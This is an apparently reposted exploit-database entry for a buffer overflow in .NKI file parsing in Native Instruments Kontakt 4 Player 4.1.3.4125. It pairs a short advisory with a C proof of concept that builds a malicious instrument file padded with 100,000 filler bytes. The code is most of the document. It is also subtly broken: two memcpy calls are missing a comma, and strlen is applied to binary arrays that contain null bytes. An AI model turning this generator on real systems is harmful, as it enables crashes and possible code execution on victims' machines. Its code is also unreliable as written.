发布 2010-11-20 漏洞条目

Native Instruments Kontakt 4 Player – ‘.NKI’ File Syntactic Analysis Buffer Overflow (PoC)

Exploit Source

Title: Native Instruments Kontakt 4 Player NKI File Syntactic Analysis Buffer Overflow PoC

Vendor: Native Instruments GmbH

Product web page: http://www.native-instruments.com

Affected version: 4.1.3.4125 (Standalone)

Summary: KONTAKT 4 PLAYER is the free sample player based on award-winning KONTAKT

technology. Expanding the capabilities of its successful predecessor, the free

KONTAKT 4 PLAYER allows for innovative, highly playable instruments leaving technological

and musical limitations behind.

Desc: Kontakt Player 4 suffers from a buffer overflow vulnerability when parsing ".nki"

files. The application fails in boundry checking of the user input resulting in a crash.

The attacker can leverage from this scenario to exectute arbitrary code on the affected

system. Failed attempts will result in denial of service.

Tested on: Microsoft Windows XP Professional SP3 (English)

Vulnerability discovered by: Gjoko 'LiquidWorm' Krstic

liquidworm gmail com

Zero Science Lab - http://www.zeroscience.mk

Advisory ID: ZSL-2010-4979

Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4979.php

17.11.2010

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <stdint.h>

#define FN "Vaya_con_Dios.nki"

#define PSIZE 102556

void banner(void);

FILE *fp;

void banner()

{

printf("\n");

printf("------------------------------------------------------------\n\n");

printf("Kontakt 4 Player NKI File Syntactic Analysis Buffer Overflow\n\n");

printf("------------------------------------------------------------\n");

printf("\n");

}

char starter[] = {

0x12, 0x90, 0xA8, 0x7F, 0x6C, 0x08, 0x00, 0x00, 0x00, 0x01, 0x72, 0x2A, 0x01, 0x3E, 0x01, 0x00,

0xFF, 0x03, 0x01, 0x04, 0x34, 0x6E, 0x6F, 0x4B, 0xF2, 0x71, 0xE3, 0x4C, 0x3A, 0x00, 0x00, 0x00,

0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0x09,

0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x4B, 0x6F, 0x6E, 0x74, 0x61, 0x6B,

0x74, 0x00, 0x00, 0x00, 0x00, 0x28, 0x6E, 0x75, 0x6C, 0x6C, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,

0x00, 0x00, 0x34, 0x8D, 0x9A, 0x02, 0x1D, 0x10, 0x00, 0x00, 0x78, 0x01, 0xCD, 0x5A, 0x5B, 0x6F,

0x1B, 0xB7, 0x12, 0x7E, 0xEF, 0xAF, 0x08, 0xFC, 0x50, 0x9C, 0x3E, 0xD4, 0x5E, 0x49, 0xB6, 0x6C,

0xE3, 0xB4, 0x29, 0x62, 0x59, 0x6A, 0x84, 0xC8, 0xB1, 0x6A, 0x39, 0x42, 0x70, 0x5E, 0x04, 0x7A,

0x97, 0x92, 0x08, 0x53, 0xCB, 0xC5, 0x92, 0x6B, 0x4B, 0xFD, 0xF5, 0x9D, 0xD9, 0x0B, 0x6F, 0x32,

0x65, 0xD9, 0x49, 0x7A, 0x6C, 0xB4, 0xC8, 0xEE, 0xF2, 0xE3, 0x70, 0x66, 0x38, 0x33, 0x9C, 0x19,

0xEA, 0xB7, 0x3F, 0xD6, 0x2B, 0xFE, 0xEE, 0x81, 0xE6, 0x92, 0x89, 0xF4, 0xF7, 0x83, 0xD6, 0x61,

0x74, 0xF0, 0xC7, 0xFB, 0x9F, 0x7E, 0xFB, 0xD4, 0x9E, 0xF5, 0x44, 0xAA, 0x08, 0x4B, 0x69, 0xFE,

0x8E, 0xA5, 0x09, 0x5D, 0xC3, 0x58, 0xF7, 0xE0, 0x5D, 0x4A, 0x56, 0xF4, 0xF7, 0x83, 0xFF, 0xA4,

0x05, 0xE7, 0xBF, 0x1C, 0xBC, 0x53, 0x9B, 0x0C, 0xDE, 0x24, 0x4B, 0x17, 0x9C, 0xCE, 0xB2, 0x5C,

0x2C, 0x72, 0xB2, 0x3A, 0x30, 0xC4, 0xA2, 0xC3, 0x93, 0xE8, 0x00, 0x88, 0x8D, 0x09, 0x7C, 0xA7,

0x0A, 0xD6, 0x80, 0x97, 0x69, 0x4D, 0x83, 0x0B, 0x92, 0x8C, 0x8B, 0x7C, 0x41, 0x13, 0x98, 0x41,

0x78, 0x01, 0x84, 0x52, 0x71, 0x70, 0x64, 0x21, 0x14, 0xB9, 0xE3, 0xF4, 0x3A, 0xA3, 0x69, 0x08,

0x20, 0x57, 0x84, 0xF3, 0x1B, 0x12, 0xDF, 0x7F, 0x49, 0x99, 0x0A, 0x81, 0x48, 0xB1, 0x9E, 0xD0,

0x34, 0x91, 0x53, 0x26, 0x19, 0xD0, 0x0B, 0xC1, 0xE2, 0x22, 0x1F, 0x57, 0x02, 0xF4, 0x96, 0x24,

0x5D, 0xD0, 0xCF, 0x05, 0x4A, 0x52, 0xF1, 0x15, 0x39, 0x6C, 0x89, 0x42, 0x65, 0x85, 0xBA, 0x22,

0xF2, 0x5E, 0x03, 0x5A, 0x9D };

char body[] = {

0x56, 0x74, 0xDA, 0x76, 0x50, 0x0F, 0x82, 0x17, 0x2B, 0xB3, 0x1A, ////////////////////////////

0xA8, 0xC2, 0x19, 0xCE, 0x88, 0x91, 0x2A, 0x3A, 0x74, 0x86, 0x44, 0xCE, 0x16, 0x13, 0xF2, 0x40,

0xAF, 0x44, 0x62, 0xCD, 0xDF, 0x82, 0x7C, 0xB8, 0x93, 0xB0, 0x84, 0xA2, 0x63, 0xA2, 0x96, 0x52,

0x73, 0xE2, 0xA9, 0x10, 0x69, 0xF5, 0xC4, 0x2A, 0xCB, 0xA9, 0x94, 0x34, 0x99, 0x90, 0x55, 0xC6,

0x69, 0x10, 0xBC, 0x24, 0xF2, 0x82, 0xD2, 0x14, 0xD7, 0x36, 0x7B, 0xB2, 0x01, 0x3C, 0x6E, 0xCA,

0x91, 0xB3, 0x89, 0x1F, 0x0A, 0x25, 0x56, 0x44, 0x81, 0xC9, 0xE0, 0xD8, 0x58, 0xF0, 0x4D, 0xB6,

0x14, 0xE9, 0x06, 0x37, 0x4F, 0xB0, 0x98, 0xFE, 0x99, 0x8B, 0x22, 0x6B, 0xCC, 0x26, 0x02, 0xE6,

0x1A, 0xF3, 0x8A, 0x0E, 0xBB, 0xA5, 0x45, 0x34, 0x46, 0xB0, 0xB2, 0x65, 0xBC, 0x67, 0x9C, 0xCF,

0x04, 0x4F, 0xA8, 0x54, 0x8E, 0xB4, 0xC0, 0xFD, 0x9C, 0xE6, 0x37, 0x94, 0x53, 0x02, 0x42, 0x68,

0x51, 0x1B, 0xCE, 0x34, 0x2D, 0xB2, 0x86, 0x4D, 0x2B, 0xD7, 0x37, 0x22, 0x76, 0x8F, 0x1D, 0x52,

0x2B, 0x39, 0x20, 0x09, 0xBD, 0x65, 0xD6, 0xCE, 0xB4, 0xDC, 0xDD, 0xA5, 0xEB, 0x98, 0x17, 0xE8,

0x0B, 0xA5, 0x0C, 0x7A, 0xB1, 0x5F, 0x5B, 0x95, 0x16, 0x8C, 0x78, 0xA5, 0x4E, 0x2C, 0xC1, 0x6B,

0xEB, 0x41, 0x13, 0x07, 0xE7, 0xA9, 0xDF, 0x2C, 0x1D, 0x54, 0x9E, 0x73, 0xDB, 0x9F, 0xDC, 0x3A,

0xFA, 0x38, 0x0B, 0x7B, 0x48, 0x5A, 0xAC, 0x2E, 0x36, 0x8A, 0xCA, 0x7A, 0xDB, 0x6E, 0x85, 0x22,

0x5C, 0x33, 0xE4, 0x19, 0x8D, 0xCA, 0x49, 0x2A, 0x33, 0x21, 0x43, 0x16, 0xF3, 0x7A, 0x73, 0x54,

0x45, 0x6A, 0x11, 0x75, 0x4D, 0x95, 0x8B, 0xC7, 0x29, 0xE5, 0x22, 0x66, 0x6A, 0xA3, 0x19, 0xAB,

0x14, 0xD5, 0x6C, 0xCA, 0x92, 0x2D, 0x96, 0xDB, 0x90, 0xF6, 0xA9, 0xB3, 0x2B, 0x40, 0xE6, 0x13,

0x35, 0x14, 0xDC, 0x0D, 0x41, 0x0A, 0xF6, 0x68, 0xCB, 0x9B, 0x9C, 0xD0, 0x39, 0x29, 0xB8, 0x02,

0x08, 0xFC, 0x37, 0x79, 0x64, 0x2A, 0x5E, 0x6A, 0x5E, 0xEA, 0x5D, 0x6B, 0x98, 0x49, 0xE6, 0x09,

0x3A, 0x77, 0x4A, 0xF9, 0x38, 0x07, 0xB6, 0x49, 0x32, 0x61, 0x7F, 0x1B, 0xD9, 0xBA, 0xAD, 0xE3,

0x63, 0x77, 0x69, 0xCE, 0xEE, 0x72, 0x92, 0x6F, 0x86, 0x97, 0x9A, 0xA0, 0x37, 0x0E, 0x24, 0x20,

0xF6, 0x0D, 0x38, 0x59, 0x18, 0x8B, 0x3B, 0x73, 0x44, 0x5B, 0xA0, 0x27, 0x4C, 0x04, 0x17, 0x9A,

0x84, 0xE7, 0xA1, 0x71, 0xDC, 0x3D, 0x76, 0x3C, 0x1D, 0x3F, 0xCC, 0xD0, 0x2F, 0x66, 0xB2, 0x90,

0x18, 0x80, 0x67, 0x19, 0x18, 0xE4, 0x2C, 0x86, 0x68, 0x9C, 0x0B, 0xCE, 0x69, 0xEE, 0xD0, 0x2F,

0x24, 0x9D, 0xA8, 0xA4, 0xD7, 0x9B, 0x9D, 0xCE, 0xC0, 0x90, 0x9B, 0x80, 0xE5, 0xBB, 0x86, 0x46,

0xB5, 0xDA, 0xD1, 0xAC, 0xD5, 0xEE, 0x04, 0x81, 0x71, 0x7C, 0x7A, 0x45, 0xD6, 0x53, 0x2F, 0x76,

0x39, 0x2B, 0x12, 0x70, 0xFD, 0x11, 0x08, 0xEE, 0x30, 0xED, 0x2F, 0x48, 0x62, 0xC5, 0x1E, 0xAA,

0x30, 0x30, 0x4C, 0xD6, 0x7A, 0x39, 0x57, 0x7D, 0x32, 0xCE, 0x59, 0xA6, 0x60, 0xBC, 0x9F, 0x30,

0x65, 0x39, 0xB6, 0x8B, 0x62, 0xF3, 0xF5, 0x05, 0x05, 0x2D, 0x7B, 0x20, 0x4F, 0x8D, 0x2C, 0x59,

0x0F, 0x07, 0x5F, 0x9F, 0x02, 0xBA, 0xD4, 0xE4, 0x5E, 0xD4, 0x56, 0x24, 0xC3, 0xE5, 0x46, 0x4C,

0x2A, 0x47, 0x4C, 0x6F, 0xD1, 0x06, 0x26, 0xE2, 0x7B, 0x8B, 0x7D, 0x0F, 0x04, 0x9C, 0x4D, 0xF6,

0xE1, 0x0C, 0x0C, 0x05, 0x4F, 0x48, 0x3C, 0xEF, 0x26, 0xA2, 0xC8, 0x63, 0x63, 0x98, 0x1E, 0x41,

0x0B, 0xF8, 0x61, 0x95, 0x69, 0xDD, 0x7A, 0xA8, 0x22, 0xBB, 0x14, 0x8F, 0xE9, 0x15, 0x5B, 0x23,

0x41, 0x37, 0x96, 0x79, 0x48, 0x0A, 0x92, 0x8A, 0x1C, 0x61, 0x57, 0x24, 0x48, 0xCE, 0x80, 0xAA,

0x68, 0x14, 0x5A, 0xD6, 0xE0, 0xF6, 0x5C, 0x73, 0x52, 0x1A, 0xC1, 0xF3, 0xE4, 0x20, 0xA0, 0x06,

0x99, 0xAB, 0xF7, 0x61, 0x42, 0x79, 0xB9, 0xA8, 0xBC, 0x4E, 0xB9, 0x89, 0x26, 0x9E, 0xB4, 0x60,

0x4E, 0x7E, 0x26, 0xE0, 0x1B, 0x2F, 0xD8, 0xC8, 0x73, 0x10, 0xF0, 0xCF, 0x67, 0x21, 0x44, 0xC2,

0x7E, 0xFE, 0x4F, 0xA4, 0xD4, 0xF6, 0x00, 0x2F, 0x22, 0xDD, 0x11, 0x05, 0xA0, 0x0D, 0x9C, 0x5B,

0x37, 0xE2, 0x71, 0x2B, 0x45, 0x09, 0x82, 0x7B, 0xE8, 0xA0, 0xE9, 0x9E, 0xF8, 0xE1, 0x4D, 0xCF,

0xE7, 0xD5, 0xD3, 0x49, 0x46, 0xF3, 0xF9, 0x94, 0xD1, 0xC7, 0x6A, 0x2F, 0x76, 0xB0, 0x1B, 0x13,

0x35, 0x84, 0x40, 0x64, 0x23, 0xDA, 0x6E, 0xBC, 0x63, 0xA9, 0x54, 0x39, 0x24, 0x3E, 0xA9, 0xEA,

0xE5, 0x68, 0x0B, 0x26, 0x2E, 0xD6, 0x39, 0xA3, 0x9D, 0xE0, 0x19, 0x30, 0xE4, 0x13, 0x4B, 0x91,

0x6B, 0x2B, 0xF8, 0x84, 0xA9, 0xE7, 0xBD, 0x9B, 0x05, 0x18, 0xF0, 0x97, 0x9B, 0x91, 0x46, 0xEE,

0xA4, 0xDA, 0x23, 0xAA, 0xA5, 0x91, 0x6E, 0x1C, 0x30, 0xD4, 0x00, 0xD4, 0xDE, 0x07, 0x64, 0x82,

0x66, 0x45, 0xC9, 0x4D, 0x88, 0x2A, 0xD5, 0x49, 0x94, 0xCE, 0xCD, 0x8D, 0xAE, 0x44, 0x9E, 0x2D,

0x2B, 0xB3, 0xC4, 0xC1, 0xF2, 0x15, 0xFC, 0xAC, 0x44, 0xBE, 0x3E, 0x6F, 0xC2, 0x64, 0x42, 0x33,

0xFD, 0x33, 0x57, 0xFF, 0x35, 0xF2, 0xBC, 0x77, 0xA2, 0x35, 0x1E, 0x24, 0x1A, 0xF8, 0x23, 0x12,

0xAC, 0x8E, 0x9B, 0xF6, 0xFE, 0xF8, 0x04, 0x6B, 0x98, 0x4A, 0x9A, 0xAB, 0xC1, 0xD7, 0x2A, 0xCF,

0xEA, 0xCF, 0xE7, 0x34, 0x56, 0x4D, 0x9A, 0x75, 0x0A, 0xA2, 0x9A, 0x54, 0xB3, 0x2A, 0x3E, 0x9A,

0xC3, 0xDF, 0x0A, 0x9B, 0x5A, 0x21, 0x9E, 0x1F, 0xC4, 0x9C, 0x48, 0x19, 0x3C, 0xED, 0xEF, 0x36,

0x19, 0x0C, 0x87, 0xE6, 0x42, 0xF4, 0x1E, 0xD1, 0x07, 0x6A, 0x12, 0xB4, 0x96, 0x9B, 0x2A, 0x35,

0xE3, 0x97, 0xB9, 0x09, 0x4D, 0x1E, 0x44, 0x42, 0x99, 0x32, 0xF8, 0x7A, 0x5D, 0x28, 0x48, 0xB5,

0x15, 0xC3, 0xE4, 0x5A, 0x2F, 0x56, 0x47, 0x02, 0x2C, 0x64, 0xCA, 0x55, 0x64, 0x58, 0x4E, 0x8E,

0x5C, 0xCC, 0x4C, 0x2E, 0xE0, 0x2D, 0x52, 0x0D, 0x1B, 0xB7, 0x78, 0x72, 0xD8, 0x38, 0xC4, 0x93,

0xC3, 0xC6, 0x15, 0x9E, 0x1C, 0x3E, 0xD6, 0x6C, 0x3F, 0x39, 0x7C, 0xB2, 0x7B, 0x18, 0x8A, 0xCC,

0xBA, 0xEC, 0x7A, 0x72, 0x36, 0x6E, 0x71, 0x55, 0x95, 0xD5, 0xC3, 0x47, 0x46, 0x29, 0x60, 0x12,

0x47, 0x90, 0x7B, 0x57, 0x36, 0x81, 0x2F, 0x75, 0x16, 0x6E, 0x99, 0x4C, 0xFD, 0x05, 0xE7, 0x0C,

0xBE, 0xA2, 0x43, 0x56, 0xAE, 0x59, 0x19, 0x53, 0xF9, 0xDC, 0xD8, 0x12, 0x68, 0xB0, 0x4A, 0xD9,

0xAB, 0xAF, 0xA8, 0x31, 0x63, 0x5A, 0xE7, 0xE1, 0xAC, 0xDD, 0xCB, 0xB4, 0x3D, 0x21, 0x76, 0xD4,

0x7D, 0xBB, 0x12, 0xED, 0x7B, 0xBA, 0xB9, 0xCD, 0xA1, 0xD0, 0x85, 0x3C, 0x48, 0xCB, 0xEF, 0x1F,

0x5B, 0x39, 0x6C, 0x7C, 0x6E, 0x15, 0x00, 0x9E, 0x71, 0x43, 0xC6, 0x8B, 0xF5, 0xD3, 0x2D, 0x54,

0x84, 0x0B, 0x48, 0x22, 0x1B, 0x2D, 0xEE, 0x44, 0x7D, 0x16, 0x0A, 0xCA, 0xD0, 0x54, 0x60, 0x71,

0xC7, 0x62, 0x3D, 0x67, 0x6B, 0x65, 0x2E, 0x91, 0x6C, 0x4F, 0x14, 0x29, 0x9C, 0x66, 0x1A, 0xE6,

0x46, 0x5C, 0x70, 0x00, 0xBF, 0x6C, 0xF6, 0xCE, 0xB7, 0x15, 0x4B, 0x58, 0x9D, 0x9F, 0x6B, 0x1A,

0x1E, 0xE4, 0x41, 0x57, 0x97, 0x21, 0xC4, 0x02, 0x13, 0xEE, 0xDD, 0x7D, 0x05, 0xE0, 0xE4, 0x06,

0xFE, 0x07, 0x5D, 0xCE, 0x8C, 0x1F, 0x44, 0xDE, 0x9F, 0x13, 0x45, 0xAD, 0x19, 0xC6, 0x35, 0xBC,

0x09, 0x5B, 0xAF, 0x21, 0x0A, 0xC6, 0x7B, 0xB6, 0xA6, 0x3C, 0xF3, 0x21, 0x44, 0xD1, 0x38, 0xDC,

0x33, 0x04, 0x9E, 0x1D, 0x0E, 0xAD, 0x60, 0x7C, 0xF6, 0x59, 0x12, 0x2F, 0x04, 0x84, 0x56, 0x34,

0x61, 0xE0, 0x85, 0x04, 0x5F, 0x0C, 0x0F, 0x71, 0x60, 0x22, 0xCD, 0x8B, 0x49, 0x7E, 0xE3, 0x84,

0x10, 0x47, 0x67, 0xDA, 0xE8, 0xBF, 0x71, 0x81, 0x6F, 0x9E, 0x1E, 0xE2, 0xF0, 0xFC, 0xCD, 0x70,

0xE8, 0x8B, 0x18, 0xE2, 0xD8, 0xAA, 0x9A, 0xFD, 0x29, 0x6F, 0xED, 0x3D, 0x28, 0x42, 0x38, 0x8A,

0xBD, 0x35, 0x11, 0x7C, 0x7E, 0x82, 0x22, 0xED, 0x1F, 0x66, 0x7D, 0x92, 0x6F, 0xED, 0x3D, 0x28,

0xE2, 0xEB, 0xCF, 0x81, 0xB7, 0x26, 0xA2, 0xCF, 0x4F, 0x50, 0xE4, 0xEF, 0x77, 0x50, 0xF9, 0x4B,

0xBE, 0xB5, 0xF7, 0xA0, 0x0A, 0x7E, 0xDC, 0x49, 0xFA, 0xD6, 0x54, 0xE0, 0xF3, 0x13, 0x54, 0xC9,

0xBF, 0x77, 0xD4, 0xFB, 0x2C, 0xBD, 0xB5, 0x77, 0x47, 0x45, 0xF3, 0x35, 0xF4, 0x59, 0xA0, 0xC3,

0x37, 0xC9, 0x38, 0x53, 0x63, 0xC1, 0x52, 0xA5, 0x0F, 0xD7, 0xAE, 0x03, 0x94, 0x90, 0xD9, 0xC7,

0xD0, 0x40, 0x1D, 0x88, 0xBC, 0x0F, 0x2D, 0x17, 0x8D, 0xF2, 0xD3, 0xF4, 0x06, 0x37, 0xAC, 0xFA,

0x81, 0x88, 0xB5, 0x7A, 0x2E, 0x5E, 0x21, 0xF0, 0x37, 0x34, 0xAE, 0x9A, 0x06, 0xD3, 0x10, 0x3B,

0x83, 0xD8, 0x0C, 0xC5, 0x26, 0x51, 0x90, 0x7C, 0xDD, 0xCB, 0xEA, 0x51, 0xCE, 0xA1, 0x3F, 0x65,

0x51, 0x76, 0xEB, 0x80, 0x1A, 0x36, 0xDA, 0xD5, 0xF3, 0xAF, 0x31, 0x1F, 0xBD, 0xD6, 0xBF, 0x4B,

0x68, 0xAF, 0x4E, 0x2E, 0x4B, 0xD6, 0xFB, 0x34, 0x5F, 0xA1, 0x6A, 0x10, 0x0F, 0xF4, 0x42, 0xAC,

0xAD, 0xEA, 0xDF, 0x2B, 0x3D, 0x40, 0xFF, 0x34, 0xCF, 0xFE, 0x2A, 0x08, 0xEC, 0x86, 0x29, 0xE1,

0x53, 0x91, 0xC3, 0x25, 0xA4, 0xB3, 0x1D, 0x2B, 0xE8, 0xE3, 0x9A, 0x5B, 0x2A, 0x4F, 0xAD, 0x70,

0x67, 0x27, 0xB6, 0x47, 0xDD, 0x5E, 0x92, 0xDB, 0x40, 0x1A, 0x73, 0xB2, 0x19, 0x0B, 0x79, 0x3D,

0x9F, 0x4B, 0xAA, 0xEC, 0x1A, 0x14, 0xDA, 0x1B, 0x58, 0xC0, 0x8E, 0x84, 0xC8, 0x82, 0x83, 0x65,

0xED, 0x3A, 0x51, 0xD0, 0x4F, 0x40, 0x28, 0x92, 0xBA, 0x83, 0x2A, 0x12, 0x7B, 0xDA, 0x86, 0x12,

0x5E, 0xF9, 0xC2, 0x60, 0xD3, 0x27, 0xC1, 0x3B, 0x5D, 0xBD, 0xC7, 0xD0, 0xCC, 0xA3, 0x64, 0x85,

0x55, 0x27, 0xCE, 0x6F, 0x20, 0x32, 0xA3, 0x96, 0x0C, 0x5E, 0x85, 0xCB, 0xE9, 0x82, 0xA8, 0xE0,

0x75, 0x87, 0xCC, 0xE0, 0x0A, 0x22, 0x1A, 0x30, 0x6E, 0x17, 0x8A, 0xEE, 0x95, 0x11, 0x5A, 0xDE,

0xA8, 0x6C, 0xA9, 0x4F, 0x9C, 0x75, 0x6A, 0x4D, 0x1E, 0xD9, 0x52, 0x00, 0x53, 0xA5, 0x88, 0x4D,

0x85, 0x8F, 0x5C, 0x0E, 0x53, 0x6C, 0xDA, 0x17, 0x1C, 0xB8, 0x28, 0x2F, 0x9C, 0xA1, 0x23, 0x50,

0x7D, 0xB2, 0x2A, 0x7B, 0xAB, 0x94, 0xAF, 0x2E, 0xE0, 0x6E, 0x09, 0xDC, 0x44, 0x2B, 0xBC, 0xBC,

0xAB, 0x9E, 0x0C, 0xD6, 0x92, 0x1B, 0xF4, 0x08, 0x20, 0xAD, 0x9C, 0xBA, 0xD2, 0xB7, 0x35, 0x83,

0x46, 0x92, 0x4A, 0xDB, 0x40, 0x3C, 0xED, 0x48, 0x2E, 0xF0, 0xC6, 0x43, 0xD3, 0xF0, 0x8C, 0x6C,

0xEE, 0x5C, 0x25, 0xB5, 0x5D, 0x83, 0x97, 0x2B, 0x21, 0xD4, 0x12, 0x36, 0xA3, 0x27, 0xE8, 0x5C,

0x53, 0x70, 0x31, 0x4E, 0x63, 0xB0, 0xFF, 0x79, 0x3A, 0xFB, 0xF0, 0xF1, 0x72, 0x72, 0x33, 0x9B,

0x5E, 0x8F, 0xBE, 0x5C, 0xF5, 0x9D, 0x4D, 0x0C, 0xDE, 0xAE, 0x1F, 0x55, 0x1A, 0x00, 0xB9, 0xEB,

0x27, 0xFB, 0xD6, 0x7E, 0x8F, 0x2E, 0xDA, 0xEE, 0x3E, 0x59, 0x4E, 0x95, 0xD7, 0x81, 0xD8, 0x0A,

0x53, 0x6C, 0x85, 0x9B, 0x47, 0x3F, 0xB5, 0x2F, 0x07, 0x97, 0x70, 0x15, 0x55, 0x6F, 0xA6, 0xDD,

0x0E, 0xF3, 0xA7, 0xEC, 0x6E, 0xDC, 0x3D, 0xAD, 0x93, 0x52, 0x19, 0xFD, 0x14, 0x9A, 0x65, 0x22,

0xA3, 0xF5, 0x2F, 0x19, 0xC8, 0x32, 0x91, 0xD8, 0xBF, 0xF0, 0x1B, 0x3D, 0x8D, 0xE1, 0x13, 0x75,

0xDF, 0x2B, 0xF2, 0x07, 0xBB, 0x0B, 0xF3, 0x6B, 0x74, 0xD8, 0xE9, 0xB4, 0xCE, 0xE1, 0xEF, 0xEC,

0xB4, 0xD3, 0xED, 0x9C, 0xB5, 0x4E, 0x3A, 0xAE, 0x39, 0x43, 0x87, 0x1F, 0x5C, 0xCE, 0x6C, 0x97,

0xDB, 0x16, 0x4C, 0x68, 0x4C, 0x4C, 0x34, 0x39, 0x89, 0xBC, 0x6B, 0xDD, 0x25, 0x5C, 0x87, 0x87,

0xA6, 0xD6, 0x0D, 0x1D, 0x3D, 0xDC, 0xF1, 0x27, 0xD7, 0xF7, 0x87, 0x1A, 0xE0, 0x99, 0x62, 0x0A,

0xCD, 0x1D, 0x08, 0x1C, 0x23, 0xF8, 0x69, 0x00, 0x06, 0x04, 0x0D, 0x6B, 0xFC, 0xAC, 0xD1, 0x0D,

0x1A, 0x82, 0xF6, 0x21, 0x7C, 0xF1, 0x1D, 0xAC, 0xBF, 0xDE, 0x72, 0xB8, 0xEA, 0x93, 0x71, 0x22,

0xA3, 0xD2, 0x3A, 0xDA, 0xFC, 0x30, 0x7F, 0x83, 0xED, 0x38, 0xEF, 0x9C, 0x46, 0x11, 0x6C, 0x47,

0x2B, 0x8A, 0xBA, 0x51, 0xCB, 0xED, 0x4F, 0xFF, 0xAB, 0xFE, 0xF7, 0x1D, 0xFC, 0xCD, 0x89, 0xC6,

0xB4, 0x54, 0xB4, 0x43, 0x55, 0xBA, 0x57, 0x85, 0x68, 0xCD, 0xE5, 0x6D, 0xBC, 0x1B, 0x94, 0xA0,

0x99, 0x4C, 0xF8, 0x14, 0xDB, 0xA6, 0x7A, 0x97, 0xBD, 0xC0, 0xB3, 0xDB, 0x69, 0xA5, 0x76, 0x49,

0x30, 0x0A, 0xFC, 0xF5, 0xC4, 0x2B, 0x7C, 0xD2, 0xF5, 0x0A, 0xC7, 0x27, 0xA7, 0xFD, 0x91, 0x1D,

0xA1, 0xCA, 0x1E, 0x6E, 0x29, 0x2A, 0x58, 0x1B, 0xF6, 0x73, 0xCB, 0xE7, 0xC6, 0x98, 0xEC, 0x46,

0xEC, 0x37, 0x18, 0x53, 0x56, 0xFE, 0x50, 0xC0, 0x55, 0x93, 0x1F, 0xBB, 0xA3, 0xC3, 0x56, 0x17,

0xFF, 0xC0, 0xB9, 0x8F, 0x4F, 0xCE, 0xDB, 0xF8, 0xE8, 0x2A, 0xFF, 0xBB, 0x07, 0xF3, 0x76, 0x7D,

0xA8, 0x37, 0x01, 0xC7, 0x51, 0x93, 0xB3, 0xF6, 0xEB, 0xC2, 0xF7, 0x0B, 0xCD, 0xA9, 0x54, 0xD2,

0x05, 0xF4, 0xCA, 0x9D, 0xA5, 0x19, 0xFC, 0xDA, 0xEA, 0xFF, 0x6F, 0x4F, 0xAE, 0x5F, 0x3B, 0x8A,

0x1A, 0x5F, 0xCC, 0xC6, 0xC3, 0xDB, 0xDE, 0xC7, 0x92, 0x6B, 0xC7, 0x9A, 0x8E, 0xFC, 0x58, 0x85,

0xA3, 0x65, 0x06, 0x81, 0x81, 0xAD, 0x7C, 0xC0, 0xD3, 0x0E, 0x6F, 0x6D, 0xF1, 0xDF, 0x23, 0xFD,

0x00, 0xB0, 0xFA, 0xEA, 0x00, 0x3F, 0xD7, 0x8F, 0x25, 0x04, 0x46, 0xF4, 0x2F, 0xE5, 0xDE, 0xFF,

0xF4, 0x0F, 0x39, 0xE0, 0x69, 0x7F, 0xAE, 0xE1, 0x0E, 0xB0, 0x01, 0x01, 0x0C, 0x00, 0xD9, 0x00,

0x00, 0x00 };

char tail[] = {

0x3C, 0x3F, 0x78, 0x6D, 0x6C, 0x20, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x3D, //////////

0x22, 0x31, 0x2E, 0x30, 0x22, 0x20, 0x65, 0x6E, 0x63, 0x6F, 0x64, 0x69, 0x6E, 0x67, 0x3D, 0x22,

0x55, 0x54, 0x46, 0x2D, 0x38, 0x22, 0x20, 0x73, 0x74, 0x61, 0x6E, 0x64, 0x61, 0x6C, 0x6F, 0x6E,

0x65, 0x3D, 0x22, 0x6E, 0x6F, 0x22, 0x20, 0x3F, 0x3E, 0x0A, 0x3C, 0x73, 0x6F, 0x75, 0x6E, 0x64,

0x69, 0x6E, 0x66, 0x6F, 0x20, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x3D, 0x22, 0x34, 0x30,

0x30, 0x22, 0x3E, 0x0A, 0x0A, 0x20, 0x20, 0x3C, 0x70, 0x72, 0x6F, 0x70, 0x65, 0x72, 0x74, 0x69,

0x65, 0x73, 0x2F, 0x3E, 0x0A, 0x0A, 0x20, 0x20, 0x3C, 0x61, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75,

0x74, 0x65, 0x73, 0x3E, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x61, 0x74, 0x74, 0x72, 0x69, 0x62,

0x75, 0x74, 0x65, 0x3E, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3C, 0x76, 0x61, 0x6C, 0x75,

0x65, 0x3E, 0x4B, 0x6F, 0x6E, 0x74, 0x61, 0x6B, 0x74, 0x49, 0x6E, 0x73, 0x74, 0x72, 0x75, 0x6D,

0x65, 0x6E, 0x74, 0x3C, 0x2F, 0x76, 0x61, 0x6C, 0x75, 0x65, 0x3E, 0x0A, 0x20, 0x20, 0x20, 0x20,

0x3C, 0x2F, 0x61, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x3E, 0x0A, 0x20, 0x20, 0x3C,

0x2F, 0x61, 0x74, 0x74, 0x72, 0x69, 0x62, 0x75, 0x74, 0x65, 0x73, 0x3E, 0x0A, 0x0A, 0x3C, 0x2F,

0x73, 0x6F, 0x75, 0x6E, 0x64, 0x69, 0x6E, 0x66, 0x6F, 0x3E, 0x0A };

int main(int argc, char *argv[])

{

banner();

char payload[PSIZE];

char input[100000];

memset(input,0x4A,100000);

memcpy(payload,starter,strlen(starter));

memcpy(payload+strlen(starter),input,strlen(input));

memcpy(payload+strlen(starter)+strlen(input)+body,strlen(body));

memcpy(payload+strlen(starter)+strlen(input)+strlen(body)+tail,strlen(tail));

fp = fopen(FN,"wb");

if(fp==NULL)

{

perror ("Oops! Can't open file.\n");

}

fwrite(payload,1,sizeof(payload),fp);

fclose(fp);

sleep(1);

printf("\nDone!\n");

printf("File %s created!\n", FN);

return 0;

}

作者: LiquidWorm
日期: 2010-11-20
类别: dos
平台: windows

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